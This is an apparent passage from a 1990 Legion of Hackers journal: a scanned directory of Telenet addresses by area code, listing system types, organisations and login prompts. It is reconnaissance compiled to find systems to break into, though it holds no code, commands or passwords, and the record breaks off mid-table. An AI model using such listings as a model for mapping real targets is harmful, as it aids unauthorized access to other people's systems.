|
||
$ 132 AOS
|
||
$ 134 AOS
|
||
$ 136 AOS
|
||
$ 137 AOS
|
||
* 151
|
||
153
|
||
189a
|
||
|
||
|
||
415--CALIFORNIA--ADDRESSES SCANNED: 0-1300
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 5 PC Pursuit Dialer (2400)
|
||
7 HP-3000
|
||
$ 11 PC Pursuit Dialer (1200)
|
||
20 Dialog
|
||
27 Stanford Data Center
|
||
29 Stnaford U. Hospital
|
||
$ 34 AOS
|
||
38 HP-3000
|
||
* 39
|
||
$ 45 PRIME CESSF
|
||
48 Dialog
|
||
49 "
|
||
53 VAX
|
||
$ 106 Telenet Async to 3270
|
||
$ 108 PC Pursuit Dialer (300)
|
||
$ 109 PC Pursuit Dialer (1200)
|
||
$ 130 AOS
|
||
* 138
|
||
* 139
|
||
* 142
|
||
* 143
|
||
* 144
|
||
* 145
|
||
$ 157 VAX MENLO
|
||
158 ComMail Esprit de Corp
|
||
$ 164 AOS
|
||
167 PRIME VESTEK
|
||
* 174
|
||
* 178
|
||
$ 215 PC Pursuit Dialer (300)
|
||
$ 216 PC Pursuit Dialer (1200)
|
||
$ 217 PC Pursuit Dialer (2400)
|
||
$ 224 PC Pursuit Dialer (2400)
|
||
238 GEONET
|
||
239 Telenet Async to 3270
|
||
242 VAX
|
||
* 252
|
||
269 LUT Rel 3.2>
|
||
$ 333 AOS
|
||
$ 335 AOS
|
||
338 Telenet Async to 3270
|
||
342 Dialog
|
||
343 Telenet Async to 3270
|
||
345 SBE Inc.
|
||
* 348
|
||
* 370
|
||
379 VAX
|
||
$ 431 AOS
|
||
$ 434 AOS
|
||
$ 436 AOS
|
||
$ 437 AOS
|
||
$ 438 AOS
|
||
452 Telmar Intl Network
|
||
* 460
|
||
* 468
|
||
$ 470
|
||
$ 471
|
||
$ 541 AOS
|
||
$ 542 AOS
|
||
$ 543 AOS
|
||
$ 544 AOS
|
||
$ 545 AOS
|
||
* 546
|
||
$ 547 AOS
|
||
$ 549 AOS
|
||
* 551
|
||
* 560
|
||
* 571
|
||
572 VAX
|
||
575 VAX SPRINT
|
||
576
|
||
578
|
||
672 Telenet Async to 3270
|
||
698
|
||
$ 730 AOS
|
||
$ 731 AOS
|
||
$ 732 AOS
|
||
$ 733 AOS
|
||
* 734
|
||
* 735
|
||
* 736
|
||
* 737
|
||
* 738
|
||
* 739
|
||
* 740
|
||
* 741
|
||
780
|
||
827
|
||
1030 PRIME
|
||
1036 OVL 111 44 IDLE
|
||
1037
|
||
1038
|
||
1055
|
||
1063
|
||
1200 enter switch characters
|
||
1201 "
|
||
1202 "
|
||
1205 "
|
||
|
||
|
||
419--OHIO--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 35
|
||
|
||
|
||
422--WESTINGHOUSE--ADDRESSES SCANNED: 0-1125
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
1 PRIME
|
||
2
|
||
102 ARDM1
|
||
104 HP-3000
|
||
106 GS/1
|
||
114 west pgh tcc
|
||
115 corp info service
|
||
121 AOS
|
||
126 tcc1
|
||
127 csc2
|
||
130 PRIME
|
||
132 UNIX
|
||
135 UNIX
|
||
140
|
||
141 VAX
|
||
180 MHP1201I
|
||
182 "
|
||
183 "
|
||
185 "
|
||
187 "
|
||
194 Commtex CX-80
|
||
221
|
||
222 HP-3000
|
||
223 VAX
|
||
229
|
||
|
||
|
||
424--UNKNOWN--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
100
|
||
101
|
||
102
|
||
103
|
||
104
|
||
114
|
||
115
|
||
116
|
||
122
|
||
123
|
||
129
|
||
130
|
||
|
||
==============================================================================
|
||
|
||
End of First Half of LOD/H Telenet Directory, Rev. #5
|
||
==============================================================================
|
||
The LOD/H Technical Journal, Issue #4: File #09 of 10
|
||
|
||
The Legion Of Hackers Present:
|
||
Updated: Telenet Directory
|
||
Part B: Addresses 501XXX to 919XXX
|
||
Revision #5 Last Updated: 2/10/90
|
||
(Includes Mnemonic Host Names)
|
||
|
||
Scanned and Written by:
|
||
Erik Bloodaxe
|
||
|
||
|
||
501--ARKANSAS--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
$ 31 AOS
|
||
* 32
|
||
* 38
|
||
$ 44 PRIME LROCK
|
||
|
||
|
||
502--KENTUCKY--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 50
|
||
* 58
|
||
* 60
|
||
* 61
|
||
|
||
|
||
503--OREGON--ADDRESSES SCANNED: 0-1000
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 20 PC Pursuit Dialer (300)
|
||
$ 21 PC Pursuit Dialer (1200)
|
||
$ 30 AOS
|
||
$ 31 AOS
|
||
$ 32
|
||
$ 36 AOS
|
||
$ 37 AOS
|
||
$ 39 AOS
|
||
$ 40 AOS
|
||
* 41
|
||
$ 45 AOS
|
||
$ 46 AOS
|
||
$ 47 AOS
|
||
$ 48 AOS
|
||
$ 49 AOS
|
||
$ 52 AOS
|
||
$ 56 AOS
|
||
$ 60 AOS
|
||
$ 63 AOS
|
||
$ 68 AOS
|
||
$ 71 AOS
|
||
75 PLEASE SIGN ON
|
||
$ 76 AOS
|
||
$ 77 AOS
|
||
$ 78 AOS
|
||
120
|
||
$ 130 AOS
|
||
$ 132 AOS
|
||
$ 134 AOS
|
||
$ 136 AOS
|
||
$ 137 AOS
|
||
$ 138 AOS
|
||
$ 141 AOS
|
||
$ 142 AOS
|
||
* 143
|
||
$ 147 AOS
|
||
$ 149 AOS
|
||
$ 150 TEKTRONIX 100
|
||
$ 151 AOS
|
||
$ 152 AOS
|
||
$ 154 AOS
|
||
$ 156 AOS
|
||
* 162
|
||
$ 167 AOS
|
||
$ 168 AOS
|
||
$ 169 AOS
|
||
$ 170 AOS
|
||
$ 174 AOS
|
||
$ 177 AOS
|
||
$ 200 AOS
|
||
* 228
|
||
* 229
|
||
$ 230 AOS
|
||
* 232
|
||
* 237
|
||
$ 238 AOS
|
||
$ 239 AOS
|
||
* 240
|
||
$ 241 AOS
|
||
$ 242 AOS
|
||
$ 243 ID
|
||
$ 250 AOS
|
||
$ 255 AOS
|
||
$ 274 AOS
|
||
$ 277 AOS
|
||
$ 278 AOS
|
||
$ 279 AOS
|
||
$ 330 AOS
|
||
$ 331 AOS
|
||
$ 332 AOS
|
||
$ 334 AOS
|
||
$ 335 AOS
|
||
$ 336 AOS
|
||
$ 338 AOS
|
||
$ 339 AOS
|
||
$ 340 AOS
|
||
$ 341 AOS
|
||
$ 342 AOS
|
||
$ 345 AOS
|
||
$ 349 AOS
|
||
$ 350 AOS
|
||
$ 351 AOS
|
||
$ 353 AOS
|
||
$ 355 AOS
|
||
$ 357 AOS
|
||
$ 360 AOS
|
||
$ 370 AOS
|
||
$ 371 AOS
|
||
$ 432 AOS
|
||
$ 440 AOS
|
||
613 UNIX sequent
|
||
|
||
|
||
504--LOUISIANA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 22
|
||
$ 31 ID
|
||
$ 32 AOS
|
||
$ 33 AOS
|
||
$ 34 AOS
|
||
* 38
|
||
* 44
|
||
* 116
|
||
* 117
|
||
$ 140 AOS
|
||
* 141
|
||
* 142
|
||
|
||
|
||
505--NEW MEXICO--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
$ 31 ID
|
||
$ 33 AOS
|
||
* 34
|
||
$ 36 AOS
|
||
$ 40 AOS
|
||
* 45
|
||
$ 46 AOS
|
||
$ 51 AOS
|
||
$ 52 AOS
|
||
$ 53 AOS
|
||
$ 56 AOS
|
||
$ 57 AOS
|
||
$ 60 ICN Username:
|
||
$ 61 Los Alamos
|
||
$ 70 AOS
|
||
$ 72 AOS
|
||
$ 74 AOS
|
||
$ 75 AOS
|
||
$ 77 AOS
|
||
$ 78 AOS
|
||
$ 132 AOS
|
||
$ 133 AOS
|
||
* 134
|
||
$ 136 AOS
|
||
$ 137 AOS
|
||
$ 139 AOS
|
||
$ 144
|
||
$ 150
|
||
|
||
|
||
509--WASHINGTON--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 25 AOS
|
||
$ 26 AOS
|
||
$ 31 AOS
|
||
$ 32 ID
|
||
* 33
|
||
$ 48 AOS
|
||
$ 50 AOS
|
||
$ 73 AOS
|
||
$ 79 AOS
|
||
* 130
|
||
* 140
|
||
* 145
|
||
|
||
|
||
511--UNKNOWN--ADDRESSES SCANNED: 0-250
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
87
|
||
|
||
|
||
512--TEXAS--ADDRESSES SCANNED: 0-300
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 5
|
||
$ 33 PRIME BROWNS
|
||
$ 34 PRIME AUSTIN
|
||
40
|
||
* 55
|
||
* 62
|
||
* 63
|
||
* 64
|
||
* 65
|
||
136
|
||
* 139
|
||
142 VAX Gould Inc.
|
||
$ 242 Primefax Info Service
|
||
|
||
|
||
513--OHIO--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
30 LEXIS/NEXIS
|
||
31 Meadnet
|
||
* 32
|
||
$ 33 PRIME D01
|
||
$ 34 VAX
|
||
$ 37 PRIME E03
|
||
$ 55 PRIME I01
|
||
$ 57 PRIME E04
|
||
59 Develnet
|
||
$ 65 VAX
|
||
* 66
|
||
$ 67 PRIME E09
|
||
$ 68 PRIME X01
|
||
* 69
|
||
$ 72 PRIME O1
|
||
* 73
|
||
$ 74 PRIME W01
|
||
* 75
|
||
$ 77 PRIME M01
|
||
$ 78 PRIME A02
|
||
$ 79 PRIME C2
|
||
$ 80 JETNET EVENDALE
|
||
131 LEXIS/NEXIS
|
||
132 "
|
||
133 "
|
||
134 "
|
||
* 140
|
||
143 VAX
|
||
* 144
|
||
* 158
|
||
|
||
|
||
515--IOWA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
30 LEXIS/NEXIS
|
||
31 "
|
||
$ 39 PRIME NVSL
|
||
$ 40 ID
|
||
* 41
|
||
* 42
|
||
$ 43 PRIME DESMOM
|
||
131 LEXIS/NEXIS
|
||
|
||
|
||
516--NEW YORK--ADDRESSES SCANNED: 0-700
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
30 VAX OFFICE
|
||
35 CCI MULTILINK
|
||
* 38
|
||
$ 41 VAX
|
||
45 VM/370
|
||
47
|
||
48a Customer id:
|
||
49a "
|
||
50a "
|
||
* 140
|
||
$ 141 # CONNECT REQUESTED
|
||
157
|
||
$ 232 HP-3000
|
||
600 PRIME
|
||
* 601
|
||
610 PRIME P550
|
||
617 Pi-Net
|
||
618 Pi-Net
|
||
625 VAX
|
||
655
|
||
|
||
|
||
517--MICHIGAN--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 40
|
||
$ 42 AOS
|
||
|
||
|
||
518--NEW YORK--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
30 USSMSG2
|
||
31 "
|
||
35 "
|
||
36 "
|
||
37 "
|
||
|
||
|
||
601--MISSISSIPPI--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
$ 31 ID
|
||
$ 33 PRIME GLFPRT
|
||
* 36
|
||
* 37
|
||
* 40
|
||
|
||
|
||
602--ARIZONA--ADDRESSES SCANNED: 0-1000
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 22 PC Pursuit Dialer (300)
|
||
$ 23 PC Pursuit Dialer (1200)
|
||
$ 26 PC Pursuit Dialer (2400)
|
||
* 30
|
||
* 32
|
||
$ 33 AOS
|
||
$ 34 AOS
|
||
$ 35 GTE COMMUNICATION SYSTEMS
|
||
$ 53a CYBER
|
||
* 55
|
||
$ 56 AOS
|
||
$ 57 AOS
|
||
$ 58 AOS
|
||
$ 61 AOS
|
||
$ 62 ID
|
||
$ 65 AOS
|
||
* 66
|
||
$ 67 AOS
|
||
$ 100 AOS
|
||
* 131
|
||
* 133
|
||
141a
|
||
142
|
||
$ 242 AOS
|
||
$ 344 VAX BUSTOP
|
||
* 349
|
||
* 350
|
||
* 351
|
||
* 352
|
||
* 353
|
||
* 354
|
||
* 355
|
||
* 356
|
||
* 357
|
||
* 358
|
||
* 359
|
||
* 360
|
||
* 361
|
||
603
|
||
$ 630 >
|
||
|
||
|
||
603--NEW HAMPSHIRE--ADDRESSES SCANNED: 0-700
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 20 Dartmouth College
|
||
$ 30 AOS
|
||
* 33
|
||
$ 36 ID
|
||
$ 37
|
||
$ 40
|
||
46 USER NUMBER--
|
||
51 CHUBBS online
|
||
53 CHUBBS online
|
||
$ 57 ID
|
||
* 58
|
||
66 USER NUMBER--
|
||
135 VM/370
|
||
136 VM/370
|
||
* 137
|
||
603 VAX
|
||
|
||
|
||
606--KENTUCKY--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
$ 31 ID
|
||
$ 37 AOS
|
||
44 HP-3000
|
||
|
||
|
||
607--NEW YORK--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
* 30
|
||
* 32
|
||
44 enter system id
|
||
45 "
|
||
70 PRIME FDC99
|
||
* 131
|
||
* 136
|
||
|
||
|
||
608--WISCONSIN--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
35 enter logon command
|
||
$ 140 ID
|
||
* 141
|
||
|
||
|
||
609--NEW JERSEY--ADDRESSES SCANNED: 0-300
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 23 enter class
|
||
$ 26 UNSUPPORTED FUNCTION
|
||
42 Dow Jones
|
||
46 Dow Jones
|
||
$ 47 HP-3000
|
||
$ 61 UC
|
||
$ 63 UC
|
||
$ 68 UC
|
||
$ 73
|
||
100 PRIME
|
||
124
|
||
$ 125 HP-3000
|
||
$ 126 UC
|
||
$ 132 PRIME MOORES
|
||
$ 136 Twain Terminal Server
|
||
138 PRIME HCIONE
|
||
$ 141 UNSUPPORTED FUNCTION
|
||
$ 145 ID
|
||
170 PRIME
|
||
* 171
|
||
$ 172 UC
|
||
232a MHP2021 APPLICATION:
|
||
242 Dow Jones
|
||
243 Dow Jones
|
||
244 Dow Jones
|
||
|
||
|
||
611--UNKNOWN--ADDRESSES SCANNED: 0-400
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
25 TRANSEND
|
||
26 "
|
||
27 "
|
||
28 "
|
||
39 CCF Development System
|
||
56 CCF Computing Facility
|
||
60 Nexnet
|
||
120 VAX
|
||
130 TOPS-20 F.A.S.T.
|
||
145 Good Evening,Please Logon:
|
||
150 PRIME MHT850
|
||
192 PRIME
|
||
193 PRIME
|
||
194 PRIME
|
||
195 PRIME
|
||
196 PRIME LDN
|
||
198 PRIME DEV2
|
||
234
|
||
235 MHCOMET
|
||
236 "
|
||
237 "
|
||
238 "
|
||
|
||
|
||
612--MINNESOTA--ADDRESSES SCANNED: 0-500
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
21a
|
||
$ 22 PC Pursuit Dialer (2400)
|
||
23 WESTLAW
|
||
$ 33 ID
|
||
34 WESTLAW
|
||
36
|
||
37 WESTLAW
|
||
$ 44 AOS
|
||
$ 46 CDCNET
|
||
$ 52 PRIME
|
||
* 53
|
||
56 WESTLAW
|
||
57 "
|
||
$ 69 ID
|
||
$ 70 AOS
|
||
* 71
|
||
$ 120 PC Pursuit Dialer (300)
|
||
$ 121 PC Pursuit Dialer (1200)
|
||
$ 131 ID
|
||
* 132
|
||
* 138
|
||
$ 139 VAX
|
||
$ 162 PRIME PIERRE
|
||
* 231
|
||
* 232
|
||
* 233 AOS
|
||
236
|
||
240 MSC X.25 Gateway
|
||
* 251
|
||
* 252
|
||
$ 260 CDCNET
|
||
270 WESTLAW
|
||
271 "
|
||
* 332
|
||
* 333
|
||
$ 340 AOS
|
||
$ 351 AOS
|
||
356 WESTLAW
|
||
357 "
|
||
358 "
|
||
359 "
|
||
362 "
|
||
363 "
|
||
364 "
|
||
365 "
|
||
366 "
|
||
367 "
|
||
369 "
|
||
385
|
||
391 WESTLAW
|
||
393 "
|
||
* 430
|
||
442 please LOGIN
|
||
|
||
|
||
614--OHIO--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 ID
|
||
* 36
|
||
* 130
|
||
$ 131 AOS
|
||
* 132
|
||
|
||
|
||
615--TENNESSEE--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
$ 31 ID
|
||
$ 32
|
||
$ 33 PRIME FRKFRT
|
||
$ 34 AOS
|
||
* 36
|
||
* 50
|
||
* 55
|
||
139a Telenet Async to 3270
|
||
|
||
|
||
616--MICHIGAN--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
45 VAX ACTEST
|
||
$ 50
|
||
$ 51
|
||
58 MHP201A
|
||
63 Meridian
|
||
|
||
|
||
617--MASSACHUSETTS--ADDRESSES SCANNED: 0-1100
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
20 PRIME PBN27
|
||
22 PRIME BDSD
|
||
* 26
|
||
* 29
|
||
$ 30 GS/1
|
||
37 PRIME BDSH
|
||
46 PRIME BDSS
|
||
$ 47 ENTER ACCESS PASSWORD:
|
||
48 VAX
|
||
* 51
|
||
$ 56
|
||
* 61a
|
||
$ 64 PRIME OPS
|
||
67 PRIME IRI System 1
|
||
72 PRIME IRI System 2
|
||
74 PRIME ENB
|
||
* 78
|
||
* 114
|
||
* 115
|
||
143 IDC/370
|
||
147 HP-3000
|
||
152 ENTER LOGON
|
||
* 153
|
||
158 PRIME BDSW
|
||
164
|
||
169
|
||
201
|
||
205 AOS MONARCH
|
||
206
|
||
226 VM/370
|
||
* 230
|
||
236 VAX Thompson Financial Network
|
||
237 UNIX b1cs4
|
||
249 Decserver
|
||
250 NDNA
|
||
255 PRIME PBN43
|
||
256 MGS Teaching Program
|
||
* 266
|
||
270 VAX SNOOPY
|
||
273 enter system id
|
||
* 274
|
||
291
|
||
$ 311 PC Pursuit Dialer (300)
|
||
$ 313 PC Pursuit Dialer (1200)
|
||
330 VAX
|
||
* 336
|
||
$ 341 VAX
|
||
$ 347 HP-3000
|
||
349
|
||
350 PRIME PBN39
|
||
351 PRIME BDSU
|
||
352 PRIME OASB
|
||
354 VAX Anchor Comm. Router
|
||
359 VAX HEWEY
|
||
* 371
|
||
* 372
|
||
379 $$ 4200 MODEL:
|
||
380 PRIME L01
|
||
381 PRIME P01
|
||
382 PRIME Y01
|
||
383 PRIME H02
|
||
387 PRIME B01
|
||
388 $$ 4200 MODEL:
|
||
391 PRIME P01
|
||
393 PRIME Y04
|
||
398 PRIME V03
|
||
437 HP-3000
|
||
443 IDC/370
|
||
446 PRIME ENO
|
||
447 PRIME ENL
|
||
451
|
||
452 PRIME NET
|
||
454 PRIME NORTON
|
||
457 PRIME NNEB
|
||
476 PRIME NNEB
|
||
* 460
|
||
* 465
|
||
491 PRIME ROCH
|
||
492 PRIME MELVLE
|
||
493 PRIME STMFRD
|
||
499 PRIME SYRA
|
||
501 PRIME OASC
|
||
502 PRIME APPLE
|
||
510 PRIME EN.C06
|
||
515 UNIX
|
||
516 PRIME PBN38
|
||
517 PRIME PBN38
|
||
518 PRIME BDSA
|
||
519 PRIME PBN54
|
||
520 PRIME PBN57
|
||
525 PRIME IRI System 8
|
||
530 Maxlink
|
||
541 PRIME BDSS
|
||
543 PRIME PBN37
|
||
550 PRIME B01
|
||
551 PRIME CSP-A
|
||
553 PRIME BDSQ
|
||
556 PRIME
|
||
558 PRIME CSSS.A
|
||
560 PRIME BDSN
|
||
562 PRIME BDS2
|
||
563 PRIME
|
||
568 PRIME OASI
|
||
575 PRIME PBN50
|
||
577 PRIME B30
|
||
578 PRIME B04
|
||
583 PRIME MD.HFD
|
||
587 PRIME TR.SCH
|
||
* 588
|
||
$ 589
|
||
* 590
|
||
591 PRIME EN.M19
|
||
593 PRIME BDSO
|
||
596 PRIME MKT
|
||
597 PRIME BDSB
|
||
599 PRIME OASJ
|
||
618 UNIX
|
||
* 623
|
||
641 AOS Timeplace Inc.
|
||
649 PAPERCHASE
|
||
654 PRIME IRI System 9
|
||
710 PRIME MD.ATC
|
||
711 PRIME AESE01
|
||
713 PRIME PEACH
|
||
716 PRIME WAYNE
|
||
717 PRIME ETHEL
|
||
718 PRIME BUGS
|
||
722 PRIME PBN31
|
||
723 PRIME MD.NJ
|
||
724 PRIME NYMCS
|
||
725 PRIME PRNCTN
|
||
726 PRIME NJCENT
|
||
736 VAX Butterworths
|
||
737 VAX "
|
||
$ 840 PRIME WALTHM
|
||
850 PRIME MD-CHI
|
||
851 PRIME PBN30
|
||
852 PRIME MD.LP1
|
||
855 PRIME TRNG.C
|
||
856 PRIME CS.CHI
|
||
857 PRIME CS.OAK
|
||
858 PRIME CS-DEN
|
||
859 PRIME AWCE02
|
||
861 PRIME PTCDET
|
||
862 PRIME DRBN1
|
||
864 PRIME CS.DET
|
||
865 PRIME MD.DET
|
||
866 PRIME MD.DAC
|
||
867 PRIME ACEC01
|
||
868 PRIME MD.GR
|
||
870 PRIME CS.IND
|
||
871 PRIME MD.IND
|
||
872 PRIME MD.PIT
|
||
873 PRIME ACMC01
|
||
874 PRIME PITTCS
|
||
875 PRIME MD.CLE
|
||
902 PRIME MD.HOU
|
||
905 PRIME OASG
|
||
908 PRIME WMCS
|
||
910 PRIME CSWDC
|
||
911 PRIME VIENNA
|
||
912 PRIME BALT
|
||
928 PRIME CS.HOU
|
||
930 PRIME MD.AUS
|
||
931 PRIME CS.SCR
|
||
937 PRIME TRNED
|
||
957 PRIME ZULE
|
||
958 PRIME EDOC1
|
||
959 PRIME FUZZY
|
||
962 PRIME PBN49
|
||
* 971
|
||
* 972
|
||
* 973
|
||
* 974
|
||
980 PRIME WUFPAK
|
||
981 PRIME WMMKT
|
||
986
|
||
993 CU-Manchester-
|
||
995 PRIME ATC55
|
||
996 PRIME PBN65
|
||
998 PRIME TRNGB
|
||
3088 VAX DELPHI
|
||
|
||
619--CALIFORNIA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 31 Environment Ctrl Monitor
|
||
41 VM/370
|
||
* 51
|
||
56
|
||
57
|
||
$ 62 AOS
|
||
$ 63 AOS
|
||
|
||
|
||
626--UNKNOWN--ADDRESSES SCANNED: VARIOUS
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 1000 PRIME
|
||
$ 1002 VAX Pacific Gas & Electric
|
||
|
||
|
||
703--VIRGINIA--ADDRESSES SCANNED: 0-1300
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
$ 32
|
||
$ 33 AOS
|
||
40 VAX
|
||
41 VAX
|
||
$ 42 ENTER USERID:
|
||
44 AOS Project HOPE
|
||
$ 53 HP-3000
|
||
55 ENTER SWITCH CHARS
|
||
141 enter /login
|
||
142 "
|
||
160 VAX
|
||
163a
|
||
$ 168
|
||
* 176
|
||
$ 177 AOS
|
||
* 206
|
||
* 207
|
||
$ 253 AOS
|
||
$ 254 AOS
|
||
$ 255 AOS
|
||
$ 256 AOS
|
||
$ 257 AOS
|
||
$ 262 AOS
|
||
* 340
|
||
* 341
|
||
* 342
|
||
$ 344 ** NETWORK SIGN-ON FAILED:
|
||
* 346
|
||
367 P.R.C.
|
||
371 P.R.C.
|
||
* 377
|
||
431 TACL 1>
|
||
* 460
|
||
* 461
|
||
$ 463 DEC-20
|
||
* 464
|
||
$ 466 DEC-20
|
||
* 467
|
||
$ 468
|
||
$ 469 Decserver
|
||
* 470
|
||
511 bcs network
|
||
512 bcs network
|
||
530 bcs network
|
||
$ 1000 FCC FIRSTRA'
|
||
$ 1001 FCC FIRSTRA'
|
||
|
||
|
||
704--NORTH CAROLINA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 31 AOS
|
||
$ 32 AOS
|
||
* 60
|
||
* 61
|
||
* 62
|
||
$ 63 AOS
|
||
* 64
|
||
* 168
|
||
170
|
||
171
|
||
173
|
||
|
||
|
||
707--CALIFORNIA--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 30 AOS
|
||
$ 48 AOS
|
||
$ 49 AOS
|
||
$ 50 AOS
|
||
$ 51 AOS
|
||
$ 52 AOS
|
||
|
||
|
||
711--UNKNOWN--ADDRESSES SCANNED: 0-200
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
15 PRIME
|
||
|
||
|
||
713--TEXAS--ADDRESSES SCANNED: 0-500
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 24 PC Pursuit Dialer (2400)
|
||
* 42
|
||
$ 43 ID
|
||
$ 44 ID
|
||
* 58
|
||
73 PRIME TXNODE
|
||
76 %u@IUeASID@cAbR@CUDEz
|
||
77 "
|
||
79 "
|
||
80 "
|
||
81 "
|
||
$ 113 PC Pursuit Dialer (300)
|
||
$ 114 PC Pursuit Dialer (1200)
|
||
146 %u@IUeASID@cAbR@CUDEz
|
||
* 167
|
||
* 224
|
||
* 227
|
||
* 228
|
||
* 232
|
||
* 234
|
||
$ 238 HP-3000
|
||
239 Compaq
|
||
255 PRIME SYS1
|
||
$ 260 PRIME HOUSTN
|
||
276
|
||
* 335
|
||
336 PRIME GANODE
|
||
340a
|
||
345 COMM520
|
||
346a Telenet Async to 3270
|
||
$ 364 VAX
|
||
366 PRIME CANODE
|
||
368 PRIME MANODE
|
||
$ 371 Coca-Cola Foods
|
||
431
|
||
|
||
|
||
714--CALIFORNIA--ADDRESSES SCANNED: 0-300
|
||
|
||
$ ADDR SYSTEM TYPE OWNER/SYSTEM NAME/RESPONSE
|
||
----------------------------------------------------
|
||
$ 4 PC Pursuit Dialer (2400)
|
||
$ 23 PC Pursuit Dialer (300)
|
||
$ 24 PC Pursuit Dialer (1200)
|
||
$ 33 911 Monitor ECM
|
||
$ 41 AGS
|
||
48 PRIME TWCALF
|
||
49 SERVICE ID=
|
||
$ 55 HP-3000
|
||
$ 62 AOS
|
||
$ 63 AOS
|
||
$ 64 AOS
|
||
$ 65 AOS
|
||
$ 66 AOS
|
||
$ 67 AOS
|
||
$ 68 AOS
|
||
72 PRIME FSCOPE
|
||
$ 102 PC Pursuit Dialer (2400)
|
||
$ 119 PC Pursuit Dialer (300)
|
||
$ 121 PC Pursuit Dialer (1200)
|
||
$ 130 MMSA
|
||
131 PRIME CAJH
|
||
* 133
|
||
* 145
|
||
$ 160 HP-3000
|
||
* 164
|
||
166 HP-3000
|
||
